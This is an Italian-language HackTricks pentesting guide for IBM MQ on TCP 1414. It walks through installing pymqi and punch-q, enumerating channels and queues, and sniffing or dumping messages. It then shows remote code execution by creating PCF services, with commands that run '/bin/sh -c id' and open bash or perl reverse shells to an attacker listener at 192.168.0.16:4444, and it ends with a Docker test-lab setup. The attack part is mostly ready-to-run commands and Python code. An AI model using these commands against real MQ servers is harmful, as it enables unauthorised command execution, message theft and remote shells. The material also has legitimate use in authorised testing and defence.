18 KiB
1414 - Pentesting IBM MQ
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informazioni di base
IBM MQ è una tecnologia IBM per gestire le code di messaggi. Come altre tecnologie di message broker, è dedicata a ricevere, memorizzare, elaborare e classificare informazioni tra produttori e consumatori.
Per impostazione predefinita, espone la porta TCP 1414 di IBM MQ. A volte, l'API REST HTTP può essere esposta sulla porta 9443. Le metriche (Prometheus) possono anche essere accessibili dalla porta TCP 9157.
La porta TCP 1414 di IBM MQ può essere utilizzata per manipolare messaggi, code, canali, ... ma anche per controllare l'istanza.
IBM fornisce una vasta documentazione tecnica disponibile su https://www.ibm.com/docs/en/ibm-mq.
Strumenti
Uno strumento suggerito per una facile sfruttamento è punch-q, con utilizzo di Docker. Lo strumento utilizza attivamente la libreria Python pymqi
.
Per un approccio più manuale, utilizzare la libreria Python pymqi. Sono necessarie dipendenze di IBM MQ.
Installazione di pymqi
Le dipendenze di IBM MQ devono essere installate e caricate:
- Crea un account (IBMid) su https://login.ibm.com/.
- Scarica le librerie IBM MQ da https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Per Linux x86_64 è 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Decomprimere (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
). - Esegui
sudo ./mqlicense.sh
per accettare i termini delle licenze.
Se sei sotto Kali Linux, modifica il file
mqlicense.sh
: rimuovi/commenta le seguenti righe (tra le righe 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Installa questi pacchetti:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Quindi, aggiungi temporaneamente i file
.so
a LD:export LD_LIBRARY_PATH=/opt/mqm/lib64
, prima di eseguire altri strumenti che utilizzano queste dipendenze.
Poi, puoi clonare il progetto pymqi: contiene frammenti di codice interessanti, costanti, ... Oppure puoi installare direttamente la libreria con: pip install pymqi
.
Utilizzando punch-q
Con Docker
Basta usare: sudo docker run --rm -ti leonjza/punch-q
.
Senza Docker
Clona il progetto punch-q e segui il readme per l'installazione (pip install -r requirements.txt && python3 setup.py install
).
Dopo, può essere utilizzato con il comando punch-q
.
Enumerazione
Puoi provare a enumerare il nome del gestore della coda, gli utenti, i canali e le code con punch-q o pymqi.
Gestore della Coda
A volte, non c'è protezione contro l'ottenimento del nome del Gestore della Coda:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q utilizza una wordlist interna (modificabile) per trovare canali esistenti. Esempio di utilizzo:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Succede che alcune istanze di IBM MQ accettino richieste MQ non autenticate, quindi --username / --password
non è necessario. Naturalmente, i diritti di accesso possono anche variare.
Non appena otteniamo un nome di canale (qui: DEV.ADMIN.SVRCONN
), possiamo enumerare tutti gli altri canali.
L'enumerazione può essere effettuata fondamentalmente con questo frammento di codice code/examples/dis_channels.py
da pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
... Ma punch-q include anche quella parte (con più informazioni!). Può essere avviato con:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Code
C'è un frammento di codice con pymqi (dis_queues.py
) ma punch-q consente di recuperare più informazioni sulle code:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Puoi mirare a coda(e)/canale(i) per fiutare / scaricare messaggi da essi (operazione non distruttiva). Esempi:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Non esitate a iterare su tutte le code identificate.
Esecuzione del codice
Alcuni dettagli prima di continuare: IBM MQ può essere controllato attraverso diversi modi: MQSC, PCF, Control Command. Alcuni elenchi generali possono essere trovati nella documentazione di IBM MQ. PCF (Formati di Comando Programmabili) è su cui ci concentriamo per interagire da remoto con l'istanza. punch-q e inoltre pymqi si basano sulle interazioni PCF.
Puoi trovare un elenco di comandi PCF:
Un comando interessante è
MQCMD_CREATE_SERVICE
e la sua documentazione è disponibile qui. Prende come argomento unStartCommand
che punta a un programma locale sull'istanza (esempio:/bin/sh
).C'è anche un avviso del comando nella documentazione: "Attenzione: Questo comando consente a un utente di eseguire un comando arbitrario con autorità mqm. Se vengono concessi diritti per utilizzare questo comando, un utente malintenzionato o negligente potrebbe definire un servizio che danneggia i tuoi sistemi o dati, ad esempio, eliminando file essenziali."
Nota: sempre secondo la documentazione di IBM MQ (Riferimento all'Amministrazione), c'è anche un endpoint HTTP a
/admin/action/qmgr/{qmgrName}/mqsc
per eseguire il comando MQSC equivalente per la creazione del servizio (DEFINE SERVICE
). Questo aspetto non è ancora trattato qui.
La creazione / eliminazione del servizio con PCF per l'esecuzione di programmi remoti può essere effettuata da punch-q:
Esempio 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
Nei log di IBM MQ, puoi leggere che il comando è stato eseguito con successo:
2023-10-10T19:13:01.713Z AMQ5030I: Il comando '808544aa7fc94c48' è iniziato. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Puoi anche enumerare i programmi esistenti sulla macchina (qui /bin/doesnotexist
... non esiste):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Fai attenzione che il lancio del programma è asincrono. Quindi hai bisogno di un secondo elemento per sfruttare l'exploit (listener per reverse shell, creazione di file su un servizio diverso, esfiltrazione di dati attraverso la rete ...)
Esempio 2
Per una reverse shell facile, punch-q propone anche due payload per reverse shell:
- Uno con bash
- Uno con perl
Naturalmente puoi costruirne uno personalizzato con il comando execute
.
Per bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Per perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Custom PCF
Puoi approfondire la documentazione di IBM MQ e utilizzare direttamente la libreria python pymqi per testare comandi PCF specifici non implementati in punch-q.
Example:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Se non riesci a trovare i nomi delle costanti, puoi fare riferimento alla documentazione di IBM MQ.
Esempio per
MQCMD_REFRESH_CLUSTER
(Decimale = 73). Ha bisogno del parametroMQCA_CLUSTER_NAME
(Decimale = 2029) che può essere*
(Doc: ):import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Ambiente di test
Se desideri testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambiente locale basato su Docker:
- Avere un account su ibm.com e cloud.ibm.com.
- Creare un IBM MQ containerizzato con:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
Per impostazione predefinita, l'autenticazione è abilitata, il nome utente è admin
e la password è passw0rd
(variabile ambiente MQ_ADMIN_PASSWORD
). Qui, il nome del gestore di coda è stato impostato su MYQUEUEMGR
(variabile MQ_QMGR_NAME
).
Dovresti avere IBM MQ in esecuzione con le sue porte esposte:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Le vecchie versioni delle immagini docker di IBM MQ si trovano su: https://hub.docker.com/r/ibmcom/mq/.